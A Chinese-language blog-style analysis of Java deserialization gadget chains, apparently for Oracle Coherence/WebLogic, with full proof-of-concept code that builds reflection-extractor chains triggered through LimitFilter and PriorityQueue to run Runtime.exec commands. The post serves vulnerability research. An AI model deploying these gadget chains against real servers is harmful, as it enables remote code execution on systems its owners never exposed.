这两个洞是相近的,所以放在一起讲
共通的核心触发点
ChainedExtractor
public class ChainedExtractor extends AbstractCompositeExtractor { ...... public ChainedExtractor(ValueExtractor[] aExtractor) { super(aExtractor); } ...... public Object extract(Object oTarget) { ValueExtractor[] aExtractor = this.getExtractors(); int i = 0; for(int c = aExtractor.length; i < c && oTarget != null; ++i) { oTarget = aExtractor[i].extract(oTarget); } return oTarget; } ...... }
可以清楚的看到ChainedExtractor,在进行extract的时候,会遍历自己的属性m_aExtractor
(继承与父类),将数组中的每一项进行extract,之后再结果作为下一个extract的参数
ReflectionExtractor
public class ReflectionExtractor extends AbstractExtractor implements ValueExtractor, ExternalizableLite, PortableObject { protected String m_sMethod; protected Object[] m_aoParam; private transient Method m_methodPrev; public ReflectionExtractor() { } public ReflectionExtractor(String sMethod) { this(sMethod, (Object[])null, 0); } public ReflectionExtractor(String sMethod, Object[] aoParam) { this(sMethod, aoParam, 0); } ...... public Object extract(Object oTarget) { if (oTarget == null) { return null; } else { Class clz = oTarget.getClass(); try { Method method = this.m_methodPrev; if (method == null || method.getDeclaringClass() != clz) { this.m_methodPrev = method = ClassHelper.findMethod(clz, this.getMethodName(), this.getClassArray(), false); } return method.invoke(oTarget, this.m_aoParam); } catch (NullPointerException var4) { throw new RuntimeException(this.suggestExtractFailureCause(clz)); } catch (Exception var5) { throw ensureRuntimeException(var5, clz.getName() + this + '(' + oTarget + ')'); } } }
这里的extractor有我们想要的东西method.invoke(oTarget, this.m_aoParam);
,全部可控,相当于我们可以直接调用任何的方法
此时,如果是学习过Java反序列化利用链的你,大脑肯定飘过了,我们最熟悉的CC链,这里直接上截图,ysoserial的payload截图
我们直接来进行类似的构造
public class Test2 { public static void main(String[] args) throws Exception { ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[]{"getRuntime", new Class[]{}}); ReflectionExtractor second = new ReflectionExtractor("invoke", new Object[]{null, new Object[]{}}); ReflectionExtractor third = new ReflectionExtractor("exec", new Object[]{new String[]{"/bin/bash", "-c", "open /System/Applications/Calculator.app"}}); ValueExtractor[] valueExtractors = new ValueExtractor[]{ first, second, third, }; ChainedExtractor puzzle = new ChainedExtractor(valueExtractors); puzzle.extract(Runtime.class); } }
运行后,即可发现弹出了计算机(third中请按照自己的环境环境进行修改cmd中的具体参数)。
可以说是完全一致,唯一的区别就是,transform
和extract
,那么我们只需要找到一个触发点,类似LazyMap,最后漏洞作者,发现了一个符合的类LimitFilter
public String toString() { StringBuilder sb = new StringBuilder("LimitFilter: ("); sb.append(this.m_filter).append(" [pageSize=").append(this.m_cPageSize).append(", pageNum=").append(this.m_nPage); if (this.m_comparator instanceof ValueExtractor) { ValueExtractor extractor = (ValueExtractor)this.m_comparator; sb.append(", top=").append(extractor.extract(this.m_oAnchorTop)).append(", bottom=").append(extractor.extract(this.m_oAnchorBottom)); } else if (this.m_comparator != null) { sb.append(", comparator=").append(this.m_comparator); } sb.append("])"); return sb.toString(); }
toString
在中间两次调用了extract,且参数都可控,然后最后一步,还是抄袭cc链,我们的老朋友BadAttributeValueExpException
反序列化时直接就触发了toString,最后payload
public class Poc1 { public static void main(String[] args) throws Exception { ReflectionExtractor first = new ReflectionExtractor("getMethod", new Object[] {"getRuntime", new Class[0]},1); ReflectionExtractor second = new ReflectionExtractor("invoke",new Object[]{null,null}); ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{"open /System/Applications/Calculator.app"},1); // ReflectionExtractor third = new ReflectionExtractor("exec",new Object[]{new String[]{"/bin/bash","- c","echo " + // "\"123\" > /tmp/123.txt"}}); Object input = Runtime.class; ChainedExtractor b = new ChainedExtractor(new ReflectionExtractor[]{ first,second,third, }); LimitFilter c = new LimitFilter(); c.setComparator(b); c.setTopAnchor(input); BadAttributeValueExpException val = new BadAttributeValueExpException(null); Field valfield = val.getClass().getDeclaredField("val"); valfield.setAccessible(true); valfield.set(val,c); File file = new File("./payload.ser"); FileOutputStream fo = new FileOutputStream(file); ObjectOutputStream os = new ObjectOutputStream(fo); os.writeObject(val); FileInputStream fi = new FileInputStream("./payload.ser"); ObjectInput oi = new ObjectInputStream(fi); oi.readObject(); } }
最后的几行是模拟传输后,反序列化的过程
BadAttributeValueExpException
这个利用链并不能通杀,原因在于我们在jdk7中,是不存在toString(),这种操作的,因此,我们只能寻求别的办法,由于太像cc链了,所以我们去看看ysoserial中有什么骚操作,我们可以在CC2这条链中找到答案,这个链可以通杀主流的7,8版本
如果存在有compare可以触发extract,那么就可以替换那一环就完成整个链
这里就可以完成,我们就可以快乐照抄了
PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1));
queue.add("1");
queue.add("1");
跑起来在这里卡住了,进行debug,我们可以发现,在进行add的时候会进入
在这里进行一轮compare,但由于我们在初始化的时候已经将调用链放入了其comparator参数中,所以会导致我们在这里就触发一轮链式攻击,但是queue必须要进行进行,初始化占位
解决方案
我们先将一个正常的comparator初始化进入(ysoserial中前半部分基本照搬就行),完成add操作后再用反射,取出
ReflectionExtractor reflectionExtractor = new ReflectionExtractor("toString", new Object[]{}); ValueExtractor[] valueExtractors1 = new ValueExtractor[]{ reflectionExtractor }; ChainedExtractor chainedExtractor1 = new ChainedExtractor(valueExtractors1); PriorityQueue queue = new PriorityQueue(2, new ExtractorComparator(chainedExtractor1)); queue.add("1"); queue.add("1"); Class clazz = ChainedExtractor.class.getSuperclass(); Field m_aExtractor = clazz.getDeclaredField("m_aExtractor"); m_aExtractor.setAccessible(true); m_aExtractor.set(chainedExtractor1, valueExtractors); Field f = queue.getClass().getDeclaredField("queue"); f.setAccessible(true); Object[] queueArray = (Object[]) f.get(queue); queueArray[0] = Runtime.class; queueArray[1] = "1";
至此我们完成了jdk7,8的通用poc,与此同时,我们也完成了对2883的分析,原因在与2883只是单纯修复我们的第一条链的第二环节,不过于此同时这个第二环可以用ConcurrentSkipListMap$SubMap和Mutations替代,这个有些复杂,大家可以自己去尝试